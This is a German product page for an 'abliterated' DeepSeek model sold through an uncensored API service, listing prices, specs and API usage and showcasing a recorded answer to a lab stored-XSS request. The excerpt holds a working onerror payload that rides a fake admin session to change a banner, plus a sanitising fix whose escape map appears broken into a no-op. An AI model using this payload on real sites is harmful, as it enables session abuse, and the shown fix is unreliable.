Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash 1017 Abliterated
deepseek-v4.1-flash-1017-abliterated Chat-Tipp. Redaktionelle Empfehlung, keine Benchmark-Rangliste.
Im Browser-Chat und über die OpenAI-kompatible API verfügbar.
Tokenpreise
Preise in USD pro 1 Million Token
- Eingabe / 1M
- 0,300 $
- Zwischengespeichert / 1M
- 0,120 $
- Ausgabe / 1M
- 0,300 $
Modellspezifikationen
DeepSeek · abliteriert
- Kontextfenster
- 1.000.000 Tokens
- Maximale Ausgabe
- 65.536 Tokens
- Fähigkeiten
- Text · Streaming · Tool-Aufrufe
Gemessene Leistung
- Ø Tokens/Sek.
- 62,7
- TTFT-Schätzung
- ≈ 5,3 s
- Verfügbarkeitsindikator
- 99,9%
Aktualisiert 01.11.26, 20:28:37 UTC · Anbieter-Erfolgsquote über 24 Stunden · Ein Strich bedeutet, dass aktuelle Messdaten fehlen.
Sieh die Modellantwort
Eine echte Antwort auf eine Stored-XSS-Frage für ein lokales Testlabor. Originalfrage und Antwort sind auf Englisch. Die Ausgabe ist Text; hier wird kein Beispielcode ausgeführt.
DeepSeek V4.1 Flash 1017 Abliterated
Aufgezeichnete Modellantwort · 28.10.2026, 19:09 UTC
Ausgewählter Auszug aus der aufgezeichneten Antwort. Einige Teile wurden ausgelassen.
## Reproduce
node server.js &
curl -s -X POST localhost:3000/comment --data-urlencode 't=<img src=x onerror="fetch('"'"'/admin/banner'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({text:'"'"'OWNED IN THE LAB'"'"'})})">'
curl -s -c /tmp/j localhost:3000/admin # fake admin session
node bot.js # prints: OWNED IN THE LABThe <img onerror> slips past the <script> regex; the handler runs same-origin, so the browser attaches sid=admin and the POST is authorized.
## Fix (safe rendering)
const esc = s => s.replace(/[&<>"]/g, c => ({ '&':'&','<':'<','>':'>','"':'"' }[c]));
// ... <p>${esc(c)}</p>Ein aufgezeichnetes Beispiel, kein Live-Chat.Chat öffnen
Dieses Modell über die API nutzen
Erstelle einen API-Schlüssel und lade Guthaben auf. Setze UNCENSOREDLABS_API_KEY in deiner Umgebung. Installiere das Paket openai für JavaScript oder Python.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-1017-abliterated",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' OpenAI-kompatibel. Ändern Sie Ihre Basis-URL.Schnellstart lesen
Einschränkungen und Abrechnung
- Ungefiltert garantiert keine Antwort auf jede Anfrage. Antworten können falsch oder unvollständig sein oder vom Modell verweigert werden.
- Die maximale Ausgabe ist das Dienstlimit von UncensoredLabs. Lange Generierungen und Aufgaben mit vollem Kontext wurden nicht per Benchmark geprüft.
- Guthaben wird für die angeforderte Ausgabe und eine konservative Eingabegrenze reserviert. Bei Modellen ohne verifizierte anfragebezogene Abrechnung gilt das volle Kontextfenster. Endgültige Gebühren beruhen auf verifizierter Nutzung; unklare Anfragen können ihre Reservierung behalten.
- Anfragen haben ein Zeitlimit von zehn Minuten. Raten- und Parallelitätslimits sowie die Anbieterverfügbarkeit gelten; API-Fehler umfassen 429 mit Retry-After.
- UncensoredLabs speichert keine Eingaben oder Antworten auf seinen Servern. Es gilt die Aufbewahrungsrichtlinie des Inferenzanbieters.